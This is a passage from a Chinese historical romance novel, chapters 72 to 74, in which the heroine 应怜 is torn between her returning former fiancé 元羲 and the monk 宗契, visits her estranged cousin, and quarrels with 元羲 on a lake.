两朵并蒂花，都还经不起风吹雨打；何况两个活生生的人，天南海北、天上地下地相隔。 她指着那一朵红粉的芍药，一瓣一瓣卜着先去寻哪一个，才从定娘数到元羲，又从元羲数到定娘，转眼却见宗契已同单铮廊下而别，晴明日色浮绕在他岿巍身遭，单衣逐渐遮不住魁硕的肩背，却在腰处让了春日一缕，收束起来，勾勒得身型高大流畅，步履飒然。 有几日没见他剃发了。她忽想，赶路时不得空，这会一瞧，他青黢黢的头皮上已生了浅浅的发根，遥遥看着，像是覆了一层绒似的，硬挺里偏落着阳光，多了几分柔软。 应怜便有些手痒，突发奇想，想摸一摸他发顶，看究竟是硬是软。 只是手痒了，脸却红了。她被这突然冒出的逾越礼想法吓了一大跳。 直待宗契来到身边了，才道了声“惜奴”，她猛一转回身，满面通红地支吾，眼神游移到他头顶，又受惊似的别开，“嗯？你们、你们说完了？” 第72章 第72章曾是豆蔻枝头绽，不识东…… “你热么？”宗契与她对面立在一处，觉日光暖融，怕她晒着，便道，“下回不必等我，你自回了便是。” 应怜摇头，只是微笑，想起来问：“方才见你与单将军相谈甚欢，想来他与你很合眼缘。” 宗契失笑：“他约我去校场比武。” 应怜常见他拳脚功夫，晓得他最是有一番大家风范；又想那单铮做得头领，想必武艺精通，也不知他两个在一起切磋，谁更胜一筹，便有些意动，想说也去瞧一瞧。恰此时眼角瞥见个玉色的人影，惊鸿一般，翩然而至。 她但觉心弦一动，一只瞧不见的手轻轻一拨，不自觉便转过头来。 院外而来的一人，心底焦急掩不住骨子里风度，如四五月东风，再匆忙也丢不下春兰玉树的姿态。日光在他额上、肩上，落于身后的阴影里，带起一阵袭来的风，刮至她身前，又猛地定住，连风、连日光、连花香轻暖，也一并随他怔住。 那一身玉色春衫便如火，一直烫到了应怜眼底。 她心口不受控制地砰砰跳起来，猝不及防而来的汹涌情绪，一瞬间淹没了她。 喜悦、怀念、伤心、恐惧。 应怜后退了半步，猛地好似沉梦里醒转，张了张口：“四郎。” 元羲在她跟前发怔，眼眉一如从前，甚而更分明了些。相别一载有余，再出现在她眼前时，他似乎忽然便褪去了少年人的青涩，却添了几分本不该有的阴郁。 他什么也没说，眼眶发红，再克制不住，伸手一抄，将她拽入了怀中。 四面似乎传来隐隐的笑声。应怜面红耳赤，瞪大了眼在他怀里，猛的想起宗契正在身边，没由来一股尴尬心虚，却碍着元羲搂得太紧，浑似要将她钳进身子里一般，欲要挣脱，顿又觉他似乎在发抖。 从指尖、到手臂，到整个身子，元羲虚脱似的，仿佛怀里抱得不是个大活人，而是他一身精气神的支柱。 他在她头顶，痴了一般，喃喃地唤，一遍又一遍：“惜奴、惜奴、惜奴……” 那话声中酸涩茫然，刺得她心中一疼，才要推开的手顿时便失了力道，无措地僵着，不知如何是好。 “我找到你了……”元羲喉头发哽，话声已沙哑，“我就知道你没死，你怎么会死……” 应怜叹了一声，勉强收回眼里泪意，拍了拍他的背。 “我没死。”她轻声道，“你先放开我，大庭广众的，像什么样？” 尤其宗契还在身旁，若是教他见着，她怎么想怎么不自在。 元羲这才稍稍松开她。应怜得以喘口气，扭脸望向宗契，却不见了他人，再一瞧，他与那单铮却已转身走了，背影衣袍轻动，也不知说着什么，只与她留了个微微的小半侧脸。那眉眼里沉沉，无波无澜的模样，日光没入了眼底，却沉坠下去，成了晦暗不明的眸光。 单铮正拽着他走，话里露着欣慰，“他们小夫妻俩阔别已久，重逢叙话，咱们杵那作甚？走走走，咱们先去校场比试一番，留他们一处腻歪腻歪！” 那话听着尤其扎耳。宗契忍住了回头望去的眼神，只道：“……他们并不是夫妻。” “江湖上粗人，不讲究这个。”单铮笑道，不以为然，“过了礼，便是两口子。你认她作义妹，如今又得了个门第显贵的妹婿，是再好不过了！” 他见宗契不说话，只道他生性寡言，便拍拍他的肩，同着人高高兴兴地走了。 应怜收回目光。 她心中有一团乱麻，元羲每一瞧她，那团乱麻便更乱一些。 庭院里外人早已避开，元羲更无顾忌，携着她手，仔细观量她，分明嘴角含着笑，眼里却多了几分伤怀。 “你瘦了许多。”他道。 应怜仍是不自在，借着理鬓发，脱开他的手，一时不知该说什么，半晌只得道：“你也清减了。这一路寻我，吃了不少苦吧？” 元羲有一肚子话与她说，含着笑摇摇头。此并不是相谈的场所，他便带着她走向府署后衙，一路上说起从家而来的事，怎样骗得双亲出远门、怎样在扬州得见李定娘，又怎样在荒僻地里被喽啰抓着、与元平失散等；怕她担忧，只是说得轻巧，一语略过那些个凶险之处。 则更没谈如何被禁在家中不得见她、深更半夜掘坟刨尸的半个字。 应怜也没问。左右一年半载已过，该走的人已走了，再翻这旧账无甚意思。 天青地广，她早已不陷在旧日罗网中，踏出了第一步，并想要愈走愈远，不再伤怀于过去。 说着说着，自然而然谈到了宗契。 “我早先便听定娘提起，你能脱险得活，全仗了宗契师父搭救。我先前混账，竟胡想那没影儿的事。”他说起前事，便想起李定娘与他的一番冷嘲热讽，更是觉得羞愧，“是我的不是，那位师父如此大义，我定要当面致谢！” 从他嘴里说出“宗契”二字，应怜便觉得心惊肉跳。 也不知怎的，这股子心虚缭绕不去。她心里仿佛烧着一把火，既想捂了元羲的嘴，教他别说了 ，你该疑心的不是他而是我；又生出一股沮丧，仿佛他与宗契两个俱是坦坦荡荡的人，见不得光的是她自己、心思龌龊的也是她自己。 她从前想着元羲，后来想着宗契，便把元羲忘在了脑后。 如今他冷不防便冒在自己跟前，勾起她一腔陈年旧情。应怜此时有些心思无措，更不知该如何答对。 好在有眼力价儿的从人随后跟来，寻了个空当，来到二人身前，请应怜去下榻她的新居。 应怜大松了一口气，忙借这事打了岔，想着一路行来，与他话说得也差不多了，便暂且告辞，去打理自己住处，歇过一时再与他相见。 元羲满心满眼里是她，正欢喜着，有些不舍，却依旧点点头，很守礼地遂了她心意，并道：“我太心急了，只想教你得知我近况，忘了你一路远来奔波，已是疲乏。来日方长，待你歇息好了，咱们再说不迟。那时你可得与我说说这一年来你是怎样过的。” 应怜含着几分笑意，应了他。 只是告别后，她再维持不住笑容，方才勉强压下的沮丧复又袭来，压垮了她。 从人一路与她指点，府署里住的都哪些将军、哪些女眷。应怜浑浑噩噩听着，心思却全不在这处，一会在元羲身上，一会在宗契身上，一会飘回从前的自己身上。 她开始唾弃起自己的轻浮怯懦来。 李定娘不知她从前在青玉阁的事，故而元羲也不知。她理所当然地瞒着元羲，好教他以为，心心念念的那个惜奴，哪怕这一年来遭逢厄运，仍像他心目中那样清清白白。 她清白吗？ 或许是。应怜想，并一直这样想，无论遭逢了什么，只要她心思坚定、坦坦荡荡，那就是清白的。 可如今她还能这么想么？ 她还敢这么想么？ 她不敢说出“宗契”这个令她心尖发烫的名字，不敢想他在自己半梦半醒的神思里是怎样一种狎昵的情态；更不敢深究那是在哪一片飘雪落下、哪一盏灯火亮起、哪一朵春花绽时，自己忽明悟对他萌动的情意。 她忘了自己的未婚夫婿，却对一个修行之人起了心思，这样阴晦、腌臜。她根本不清白。 应怜捂住脸，阳光照得她眼眶再一次发烫，连着脸颊也是滚烫的，不知是羞愧还是难堪。 从人以为她热，便绕了个圈，从阴凉的西面廊下走，边走边道：“您来之前，居所就已为您安置了，虽不很大，却也住得。若娘子觉得不便利，也可在府署外单辟一座宅院，女眷们不少也是如此的。” 说着，穿过一道月门，往前几步，引她至自家院里。 应怜环顾四周，院墙瓦灰、廊檐整洁，院中老树新花簇簇缤纷，很是简致幽静的地儿，便道：“这就很好。我的行囊都带来了么？还有……宗契师父住在哪里？” “行囊俱已安置在屋中了。”从人道，又指了指东南的一个方向，“娘子居后宅，宗契师父在前堂，也是独自一间院落。” 她点头，又失落起来。 从前左邻右舍不算人多眼杂，如今这才是人多眼杂。后宅前院，互相连说句话，都有许多双眼睛盯着。 转而又想，有些乱七八糟的心思，说不定就是日日与他相对，独处多了才生；这段时日离得远了，见不着他的面，自己发热的脑子许就能凉下来，不再着了魔似的想他。 想到此，她且压下心头杂念，问从人李定娘的近况。 从人道：“是同鬼面将军一道来的那李娘子么？她不在府署，据说住城东门靠湖荡子的一座别院。” 李定娘与她前后脚到，此时估计新住处一番拾掇。今日时辰已残半，应怜不好就去寻她，便且在此住下。府署里又拨了两个女使随时照应着，今日便匆匆过了。 转过天来，应怜晨起梳妆，因想着一会儿去寻宗契，问一问上元县救人的事；后又要出门寻李定娘，本要像往常样梳个同心髻，照在镜里，见绰绰约约一张面孔，心中一动，不自觉微笑了笑，唤来女使春莺，问：“你可会梳头？” 春莺道：“娘子要梳个什么样儿的？” “好看些的，也不要太精巧了，我一时半刻便要出门。”应怜想了想，打开珠饰匣儿，挑出一副金玉珠儿蔷薇花钗、缠枝牡丹青玉插梳、两只鎏金帘梳，并零星几支蕊花短簪，道，“小盘髻好不好？” 春莺含笑答应。 “娘子生得花朵一般，梳什么头都好看。”才捧了茶瓯进门的茜草也道。 当下为应怜拧了小盘髻，又妥妥帖帖地插了花钗在髻前，后头挽青玉插梳，金帘梳缀在两鬓，又将短簪前后点缀了。描眉点唇，妆成后镜里芙蓉，含态楚楚，隐约里透出一点瑰艳来。 “会不会太……”应怜晃了晃脑袋，额间一点轻粉宫黄、耳畔两支金茄点珠耳坠摇曳生姿，微迟疑了一下，想说太艳，又有几分难为情，换了个说法，“太招摇？” 春莺将头一摇，言之凿凿：“哪里招摇？娘子是平日里太素，才几根钗呀，就看不惯了！” 应怜不做声了，心内也爱如此扮相，便不再讲究什么未嫁不好过于妆扮的旧规矩，换了件退红缂丝的织锦半臂、天水碧回云褶裙，回眸顾盼、粼粼横波，已是一番春芳暄妍的殊色丽景。 从前与宗契两个在一屋檐下，随心妆扮，不费那许多心思，确是太素。 她想着，也不知宗契见了，会不会也夸一声好看。 不过他似乎也不大在意这些美丑妍媸。应怜心底几分期盼，却又忐忑，便同春莺出得院儿来，要到前头宗契那处去。 才到一处山水池苑，分花拂柳，小径上走着，却正逢着外头而来的元羲。 好巧不巧，今日他一身天青罗衣，玉竹发冠，笔挺修长，身姿如松如竹，已是清隽难言的姿态，更兼眉目如画，从前眸中三分郁色一扫而空，竟如神仙中人、见之令人心折。 不过对面而立，便已如从画里刻下来的一对佳偶，天青作衬，再合宜不过。 他才见着应怜，目中清亮更甚，便来同她一道：“巧了，我正要寻你，你倒来了。” 应怜顿住步子，笑了笑，“你怎的这样早？” “我想见你。”元羲眸光流连在她身上，毫不掩饰的欢喜。 身旁春莺捂嘴窃笑。应怜微微红了脸，旧日里几分熟悉的感觉迟迟姗至，却有些为难，“你来得不巧，我正要出去，过后再去寻你？” “你去哪儿？”元羲问。 “去寻宗契。”她说罢，但觉与他称呼太过随意，又怕元羲误会，跟着道，“他们议定要出走一趟，我想问个详实。” 她说话时含笑，一双妙极的眸里便水色波光，映着朝曦有如春水妍媚。元羲已知她生就这副姝姿雅态，经久未见，却忽此时觉出她与从前不同，仿佛在他不见的时候，悄悄儿的一朵含苞花蕾绽放，有了女儿家的情态，更多了几分见他时从未有的端庄。 元羲失魂了一刹，下意识微微伸出手，想要触上那一抹清艳却疏离的微笑，心头震动，倏然而止。 “无妨，昨日见得匆忙，我更未与他结识。”他克制住那点狂浪的心思，与她并肩同行，“今朝正好与你同去，他于你我有恩，我当思怎样答报于他。” 应怜无法，细究起来却无从拒绝，他二人相见本就是迟早的事，只得点头，与他一同去了。 宗契早已起身，正在院中习练拳脚。 他今日不用棍棒刀枪，却拳拳如罡风，携着刚猛的力道；也不讲究身形步法，拳脚里贯了一股闷在心头的情绪，对外人言讲不出，只得泄在冷冰冰的空气里。 习武时最讲究灵台清明，思绪杂乱是大忌。 只是自己这方天地，还有什么顾忌。 连着一个时辰，便这么无章无法地练着，领悟了什么，更没个影儿，只是出了一身汗，心里还是窝着一团，想昨日元氏子那样浮浪轻薄的举动，他恨不得一把将他两个拉开。 闪转腾挪，步子一个错乱，却踏在一石墩旁，心内一堵，一脚踢去，竟生生将那石墩踢起几尺高，重重飞过半个院儿，砸在开敞的院口壁上，咚地一声。 猛听得那头里惊出一声，熟悉得紧。宗契一惊，忙折身过去，却正见了应怜捂着胸口、脸色发白，身旁跟着元羲，正横臂护来，侧身为挡了住。 那石墩经不起这样一遭，与石墙两败俱伤，墙面塌了一块，石墩也缺了一大角，咕噜噜滚在草丛里。 “可碰着了？”宗契顿觉后怕，上下将人瞧了几遍，这才松一口气。 应怜才放下心来，望望石墩，再望望他，鬓边金帘梳珠翠摇颤不歇，晃出满眼的耀目来。她半嗔怪他，“好好儿的，你踢这墩子作甚？脚不疼么？” 宗契衣襟后背尽是汗意，热腾腾地搁她跟前一站，含着幽微衣香的气息便闯入应怜身遭，强烈又熟悉。他微皱着眉，峰梢更显孤峭，皂白分明的双眸乌沉沉地盯了她片刻，又在她与元羲之间一个来回。 “是我心急了些。”他收回目光，退了半步，与他们拉开一个合乎礼数的距离。 元羲一颔首，再与他行了个恭恭敬敬的礼，端方文雅，“我听惜奴说起，义兄救她于危难水火；如此恩情，我必答报。元羲从此 愿为兄所驱驰，赴汤蹈火，在所不辞！” 宗契眸光沉沉，并不见多么热切，只是细细端详他几眼，让了半个礼，“不必如此。” 应怜敏锐察觉他似乎兴致不高，不住拿眼瞧他，猜想他是否因要去上元县救人一事，思量过重导致。只是元羲在此处身份颇有些尴尬，有些事不好教他听得，只得暂且压下心思，先与二人说话。 宗契将人让进了屋，亲自倒了茶来。应怜向他一笑，他却只瞧了一眼，点点头，未作什么声，道了声“失陪”，先自回内室，换衣裳去了。 应怜心里便有些不上不下的。 她见元羲眉眼噙着笑，不由也心里打鼓，思量再三，轻声问了他一句，“我今日是否太过艳丽？显得轻浮？” “怎么会，”元羲微微偏过头，也压低了声儿，与她说悄悄话，“我往常还道你太过寡素，如今才正好，簪环相称、玲珑成双。” 应怜教他夸得脸面泛红，却不自觉向内室望了一眼，心内嘀咕，怎么他也不多看自己两眼。 他两人交头接耳，全然一副小儿女私情，尽数落在才出内室的宗契眼里。 出家人不重外物，他也不爱穿袈裟那等拖零挂碎的东西，向来便是直裰与短衫，衣箱里黑白灰满目，从未能与她相配。 他随手取了一套干净衣物，灰朴的直裰鞋袜，又心内暗嘲自己，什么配不配，怎么起了这样浮浅的心思。 衣上兰香是应怜所合，幽幽浅浅地萦在鼻端，当真要细细去闻时，却又捉摸不定，恰似她偶尔望向他时，那双清浅的眸子里乍然流泻的亲昵情态。 宗契心头发堵，穿着那似有若无兰香的直裰，见应怜顿时直回身子、一副脸红心虚的模样，又陡然生出一股烦躁。 要说体己话，私下里去说便是，没得在他眼皮子底下腻歪。 他便开口，声音尽可能压下不善，“今日来是有何事么？” 应怜一怔，想兴许是元羲在此，他有些拘谨，也不好就谈正事，只捡零碎的琐事来说，问住处如何、昨日比试怎样云云。 他一一作答，简略却认真，只是在瞧见应怜投来的怔愣不解的目光时，心头一软，松缓了神色。 “一切皆好，你尽可放心。”他补充了一句。 应怜点头，额上一点宫黄俏嫩，引得人想指尖拭上一点，腻在手上。 元羲也来搭话，便问宝刹师从等，又得知他相救应怜、护她一路南北辗转，竟全只为了一回十两银的恩情，由是更加敬佩他人品。 一番语罢，应怜肚子里的话一句没说出口，直待磨蹭了些时候，有人来请宗契，这才不情不愿地起身告辞。 她实在忍不住，回头向元羲道：“你先去，我有几句话要与宗契师父说，过后就来。” 元羲微微一顿，点头，“也好，我忘了你们有正事要谈。” 他便出了屋，却没走多远，只在廊下候着，也不愿瓜田李下惹来窥听的疑心，便又向外走了几步。 如此，屋中终只剩了应怜与宗契两人。 应怜摸了摸鬓边的金帘梳，珠玉的流苏缀在两边，指下有些凹凸，一如心头平添的忐忑。 分明只是一日未见，再独处时，仿佛却与从前哪里不太一样了。 “昨日你就那样走了，我还没问上元县的事。”她想起来便问，迎上他平静无澜的眸光时，心跳得却有些快，“何时动身？这一趟必是凶险，你万要当心。去又去多久？要在那处多留些时日么？若是歇宿，你可得带好起居用具。他们都好说，你却是个出家人，打眼得紧，没事不要出门走动……” 她絮絮叨叨，想到什么便说，拉拉杂杂便叮嘱了许多。 宗契瞧着她蹙眉嘱咐的模样，也不知为何，从今日起的那股邪火，蓦地便消散无踪，心底温软了一片。 “迟不过明日便走，救了人便回，一刻也不耽搁的。”他耐心答道，又宽慰她，“我会保全自身，你安心等着便是，不必担忧。” 她默默点头，依旧盈盈望着他，欲言又止，吞吐再三，道：“元羲他……我并不曾与他约好同来，只是路上正巧撞见，便一同来了。我、我本想先来寻你说话的。” 她脸孔逐渐发烫，却仍定定瞧着他。 最后一点沉闷尽褪。 宗契不觉便泻出一丝笑意，“嗯。” 应怜便心中大定，又得寸进尺，盈盈地眸子一眨不眨，飞快问了一句：“我今日这样，好看么？” 屋外元羲仍静静候着。应怜问完，没由来心头起了一丝荒谬感，却夹杂着别的什么，仿佛她与他两个在元羲不知道的角落里，当真有点见不得人的私情一般。 既荒谬，更有些隐秘的欢喜。 宗契一时没回答，半晌从她那双既娇且媚的眸光里抽出，垂下眉眼，“好看。” 应怜便笑了起来，眉眼弯弯，与他生了些柔情，如春水漫过沙堤。 他正瞥见一眼，心头划过一丝异样。 明窗之内，她与那僧人微微浅笑，分明光景平平无奇，却自有一种别样勾缠气氛萦纡满室。 元羲微蹙起了眉头，但很快将这丝异样感压下。 他思念她如狂，怎么在见了她时，却又胡思乱想。莫说他二人是义兄妹，便不是，他也不该想歪分毫。 他在心中默念了几遍“清心”，告诫自己，终于寻回了她，这一次，说什么也不能再弄丢。 他要带她回家。 第73章 第73章盼春惜春，无计留春住…… 应怜去了一趟城东门别院，仍由元羲陪着。 这处果临着一片湖泊，水泽浩荡，苇丛深深。一渠湖水悠悠引入别院灰墙，临湖之上，正高脚搭着一水榭，隐约可见延入水下的青阶与一系泛荡轻舟，是个再幽雅不过的去处。 宅院正门开在坊市，一如平常人居。她上前扣门，不多会，出来个脸生的女使。应怜便问：“此处可是李娘子宅？” “此是鬼面将军的住处。”女使上下打量她，见她目露诧异，便又道，“李娘子也在的。” 应怜按下心中疑惑，报了名姓，女使自去通传。 “听闻定娘为鬼面将军所救，想来便是这一层瓜葛。”元羲见她皱眉发怔，宽慰道。 不多时，女使又回，引了二人入庭院。 前院敞阔，有修竹拳石、红翠栏杆，更有一花架顶棚，婵媛攀着一丛丛荼蘼，才是新花待绽，并未到春末繁盛之时。应怜环顾四周，望那荼蘼，想其开到盛时，必然繁花如雪，不由道：“这荼蘼生得好，往后我也想在我那院儿栽上一丛。” 元羲微笑，风姿雅逸，“你若喜欢，过几日我寻来便是。” 说着又过了一花苑洞门，才见面前涂朱的小楼，很是别致。女使请入内，元羲却在廊下顿住，想了想，“我还是不进了，你们姐妹叙话，为我带好便可。” 一来到底人家闺阁，他外男不好入；二来思忖她两人经月不见，必有许多体己话要讲，他索性等在外头。 应怜不好将从前与定娘的龃龉说与他听，犹豫再三，想见她，又有几分情怯，终硬着头皮进了去。 才是晌午过半，虽轩窗不敞，半明不暗的，倒也不至于点灯。她拨湘妃帘走入内室，浅浅唤了声：“定娘表姐。” 里头先一阵没声儿。 她心中思绪纷涌，脚步也慢了下来，见里头美人榻上朝内侧躺着个窈窕的身影，晓得是李定娘，又见她动了动，以为她才午睡将醒，便又道：“定娘表姐？” “叫什么，我醒着。” 李定娘背对着她，头也没回，声儿懒懒的。 应怜便一时不知说些什么，等了半晌，不见她有回头相待的意思，心中有些发苦，问：“你便如此，不见我了么？” 李定娘笑了一声，听不出喜怒，道：“先与我割席的人是你，要走的也是你。我还没说什么，你倒反来怪我。” 她们之间到底有一条过不去坎儿。应怜如今也还放不下，但想到她的遭遇，心中浑不是滋味，便捡了个墩儿不远不近地坐下来，声音孤零零的，“……从前的事先不提，你身子如何？我听说你……如今可还养好了些？” 榻上唯见她身子微微起伏，也呼吸也轻飘飘的，不知想些什么，最末寥寥答道：“都好了，没什么。” 应怜又想问姨父姨母，话到嘴边，却又想，问了又如何，人如今已不在，反平添定娘的堵，便将话咽了下去。 明明有些光亮，她却觉愈发昏暗，连空气也窒闷懒散，教人不畅。 她枯坐了一刻，没等来她回身的半分眼光，只得叹了口气，起身道：“我走了，你好好歇着。我得空再来看你。” 李定娘仍不动，也没送客，也没寒暄，木雕一般，任她出门走了。 元羲本以为她们姐妹重逢，一时要说个没完的，却未听里头有什么动静；一刻时，见应怜已出来，面上不似欢喜，反有些郁郁。 “说完了？”他迎上来。 她点点头，瞧他一眼，嘴角的笑有些勉强，“我们走吧。” 不见李定娘出门送客，元羲便察觉了她二人几分不睦。 仍是女使送至门口，直待两人上了一辆牛车，才关门回去。 车中摇摇，彷如应怜浑然飘荡的心思。元羲叫了她好几声，她才回转，茫然望着他隐忧的双眸，忽问了句：“若你十分看重的一人，做下了不可改的错事，你当如何？” 以元羲聪敏，哪里不知那说的便是李定娘。 他不知究竟，沉默片刻，道：“人心都是偏的。” 应怜不曾想他竟会如此答，但见他眸光定定，盛着自己倒影，仿佛那话并不是在答她，而是解他自己心中疑惑。 她心头杂乱无陈，一时不知该说些什么，想他或许不知里头有一条人命，若是知晓，兴许便有所动摇。正乱麻一团的思绪，突然手上一热。 元羲轻轻握住了她的手。 她心一颤，回神，只觉这温热不过再为她心中添一根乱麻而已，却一时贪着那团温暖，没抽开手。 细瞧他眉眼，才从那一点浅笑里，觉出了一丝不易察觉的疲惫。 应怜才忽然想到，从昨日到此时，与他重逢以来，她只顾着自己那点不见人的心思，却浑然疏忽了他；如今车中细细端量，与记忆中那个俊美风发的少年君子相比，他似乎变了一些。 他从前如骄阳、如春风，是不曾有一丝划痕的珠玉，阳光耀他眼目，所照之处，全是一颗剔透清澈的心； 如今那片晶莹剔透，蒙上了一层擦不去的尘埃，他所经的风沙磋磨，印痕遮掩不住。他便不再那样光滑璀璨，有了阴影。 元羲开口，依旧如往昔温柔，甚至更多了一层对她的小心翼翼，“跟我回去，好不好？” “回去？”应怜怔怔重复了一遍，“回哪里？” “洛京。”他道，“回去后，我禀明父母，令你我完婚，再不教你孤身飘零。” 应怜心中才生的温热一点点渐凉，缓缓抽出一双手，“可应怜已死了，到死也是罪臣之女。” “应怜也好、柳惜也好，这些都不打紧！”元羲一时想再触她，却止了住，更道，“禀明双亲也好，或你不愿，便先瞒着，我为你置个住处，缓缓再图之，岂不比陷在贼营之中要好得多？” 应了怔了许久，直到牛车晃颤微止，晓得已上了府署前大道，才寻回心绪，声儿有些哑，“那便是外宅，你将我视作什么？用来逗弄的猫儿狗儿么？你如此举动，家大人迟早会晓得，难道还能应允我做你的正室？你说这是贼营，岂不知这贼营是我自个儿要入，不是他们强掳我来！” 元羲被她驳得一时哑口无言。 牛车将将好停下，正在后角门。 应怜心绪烦乱，避开他目光，掀帘而出，与其说恼怒，不若说逃离他而去。 留元羲在车内，独自默想她方才一番话，好一时在车中坐着，失了言语。 宗契走了有两日。 两日来，应怜每日便去一趟城东别院。鬼面人与宗契一般去了上元县，唯有李定娘在家。 李定娘待她冷淡，她便也不强求，索性在外间，只询问三两句，晓得她身子安康便好。 心神不宁，却是为了宗契与元羲两个。 宗契那处没个音讯，说事了便归，也不知何时才了。她时时将茜草与春莺轮流派出去盯着，一见他归，便来回报； 元羲…… 隔了一日并未见他，或是前日那番话不投机，与他头一回冷了场。 可她想，他总不该出那样的馊点子，教自己没名没分地随他回去。 两日后的晌午，她像往常那样叮嘱春莺看家、茜草留看宗契那处动静，自个儿又去城东门别院，看望李定娘。 却逢见元羲，先没谈前日里的不欢而散，道：“如今仲春五月，景致正好，东门湖荡之上常有人泛舟，你可随我同游一游？” 他想是有话要说。应怜便点点头，与他同行，一道先去瞧了李定娘，问候了一声；果见湖畔不远早已备下轻舟，尖尖小小的一条，正可坐两三人的模样。 元羲搀着她踏上深浅摇颤的舟中，坐定了，却不要船家，自个儿撑了一篙，点离湖岸。 晌午天光明媚，湖泽之上泛着粼粼碎金，一丛丛芦苇青浅，正是芽短水清之时。应怜周遭水意弥漫，扶着小舟边缘，见元羲身子笔挺，却撸起袖口，握着撑篙，左点右点，那小舟穿梭苇丛，十分轻敏。她将前日的龃龉暂抛在脑后，望着他笑道：“你怎么如此熟练的模样？我与你分别年余，你竟学作了个船家？” 元羲也笑了，脸廓随而变得柔软，如美玉含温、芝兰生香，却有一丝赧然，“有几回经逢野渡口，寻不着船家，便自个儿撑船了。不独我，元平也会了。” 应怜翘着唇角，稀罕里渐渐咂摸出了一丝酸涩。 她怎么猜不出他为何要捡荒僻的小河渡过呢？恐怕不过打听得三言两语她的下落，便往那处去了。 他是从没吃过苦的大家公子，从前在家时，当真是爹娘眼珠子一般，捧着怕摔了、含着怕化了，何曾做过一星半点的粗活？ 她这样想，元羲却不觉苦，只是一边缓缓撑篙，一边瞧着她，心中又欢喜又愧疚。 “前日里是我言语有失，思虑不周。”小舟渐渐远了湖岸，进了一丛浅浅的苇芽之中，他开口认错，“我寻你这些时日，总想着你在外飘零，吃了不知多少苦，便一心要带你回去，怕你又丢了。” 应怜摇了摇头，心里软了下来。 “我并不曾吃苦。”她目光随他置了撑篙 横在船头，转而与她相对坐下，阳光笼在周身，暖意烘得人心平气和，“宗契师父将我……救出，我便随他去了扬州，虽一路有些不平，却到底安稳。” 她忆起大半年来与宗契的种种，不自觉便神情也柔和了几分。 元羲定定瞧着她，本应当心中更感谢与她恩惠的那位僧人，却不知如何，见她比水泽更晶莹的眸光，鬼使神差，想起了前日廊下所见窗中之情景。 他知道自己多心，但人心难免卑劣。他不愿见她与别的男人言笑晏晏，更不愿旁人背地里对她与那位僧人闲言碎语。 这醋意实在没由来，若说了，倒显得自己小肚鸡肠。 元羲一时没说话，压下那股不定的心绪，在暖融的水泽春风之中，问起她这一载的经过。 应怜便捡了些无足轻重的，一一道来，如润州路上教个跛子向导诳了钱、伏牛村里见装神弄鬼、西津渡上船老大怎样讹钱、夜闻官府明火执仗抢入邻家等等，又提了些扬州之事，只是不敢深讲，怕他追问。 更不敢提什么青玉阁、莲台寺。 她到底是怯懦，不愿在他眼中瞧见与世人一般的鄙夷。 小舟静静飘着，飘也飘不远，只在有苇荡的水泽里，随波漫漫。 只是这些事全是与宗契一道所经，谈起了，就不能不又提到宗契。说着说着，便又转到他身上。 “宗契”两个字仿佛有魔咒，提起时，她心中阴霾便被驱散几分，哪怕说着怎样不好的事，微蹙起的眉头也渐渐舒开，现了一缕浅笑。 她一颦一笑，皆落入元羲眼中。 斜阳西坠，半在天、半在水，他却无端觉得金红刺眼。 他与她之间，仿佛无论如何，总隔着一个宗契，便是那人此时不在，她总也心心念念地挂在嘴边。 元羲静静听着，压下愈来愈烦堵的滋味，生怕一开口，又出些混账言语，惹恼了她。 就这么，煎熬的人渐渐成了他自己。 茜草也百无聊赖，坐在宗契院中一方石桌旁，与他的从人小乙嗑瓜子闲聊，已是近黄昏，也不知柳娘子回来了没，便不再等，今日且回了。 才站起身，忽听得外头旋风也似一番阵仗动静，仿佛各处的人被惊动，连院前一棵老槐树里鸦雀也刷啦啦惊散，激得人愈加不安。 有人踏着又沉又快的步履入内，渊渟岳峙，岿巍沉默，一眼见着说话的两人，目光于茜草身上多逗留了一瞬。 茜草本能觉出了一股压迫，心中一凛，行礼道：“高僧回了。” 对方点点头。尚残留的明光里，她眼尖地瞧见他灰布短衫的前胸后背处，有深浅不一的深褐污渍，不似泥点，倒像干涸的血溅上。 “你怎在此？”他向茜草道，走了几步，又停下步子问，“你家娘子还好？” “都好！”茜草毕恭毕敬垂头回答，“她正与元郎君湖上泛舟呢。” 第74章 第74章镜花水月 说罢了，一时没见他有什么动静，话也没有，似乎他就这么顿住了。 仿佛一个错觉，转而，那步履再次动起来。他径入了屋中，什么也没说。 茜草松了口气，不知怎么，觉着今日的高僧有些沉默生冷，但还记得自己的差事，也没多想，匆匆便离了去。 茜草套了辆车，一路赶向城东，到了湖荡处，眯眼四望金光熠熠的湖面，于最后三两缕欲坠未坠的夕光里，寻到了熟悉的一叶扁舟，朝那处使劲儿挥了挥手。 应怜正与元羲舟中安坐，一眼见着，便知宗契那处有了消息，心一喜，急于打听他现下如何，便匆匆截住了有一搭没一搭的话头，急道：“快靠岸，我要回了！” 她神色急切，恨不得立时便飞向湖畔。元羲瞧见，登时便明白，泛舟于她不过是消遣，哪怕湖心上景致再美，也抵不上她心里存着事。 他于她，也不过是消遣。 他慢慢地起身，头一次尝到一种酸里发涩的滋味，很想与她说：你心不在焉，可曾想我也会因此耿耿于怀？ 在应怜焦急催促的目光下，元羲抄起撑篙，一下一下地点着，几次望她，欲言又止。应怜此时却顾不上他，只全然望向岸上茜草，想从女使神色里瞧出一二眉目来。 小舟渐渐离了苇荡，湖水愈发清浅，湖上粼粼碎金的波光逐渐黯淡。夕阳隐没，又到了白鸥归巢、渔子回舟之时。 元羲望望天色，微皱了皱眉，想这话说来她不至发恼，便道：“这会黄昏，待你到了府署，灯火早上了。便是宗契师父回来，你也不好去寻他。虽说你们是义兄妹，到底要避些嫌。” “我不过去瞧一瞧他是否安好，何至于落人口实？”应怜却否了他的话，仍是相催，“你再快些，就要到岸了。” 夕阳落在她莹白清婉的面上，将她眼底牵挂焦灼神色映得明明白白。 元羲一颗心愈发地沉，实在忍不住，脱口而出：“他到底不是兄长，就算真是你兄长，也没见你这般牵念应栖！” 应怜一怔。 “你究竟想说什么？”她回悟过来，脸难堪得发烧，一股怒气涌上来，半是为他的话，半是为心底那见不得人的念想，“你是想说我不该见他，以免招人非议？那你……你与我舟中独处，便不怕人非议了？” 她颇有些恼羞成怒。元羲见她当真恼了，心头一急，辩解道：“那怎么能一样？你我的关系他们都清楚，我与你……” “怎样？”应怜乌黑的眸子冷冰冰发亮，哼了一声，“你与我有什么干系？六礼未成，且再也成不了了的，难道还能做夫妻？还是又要我做你那见不得光的外室！” 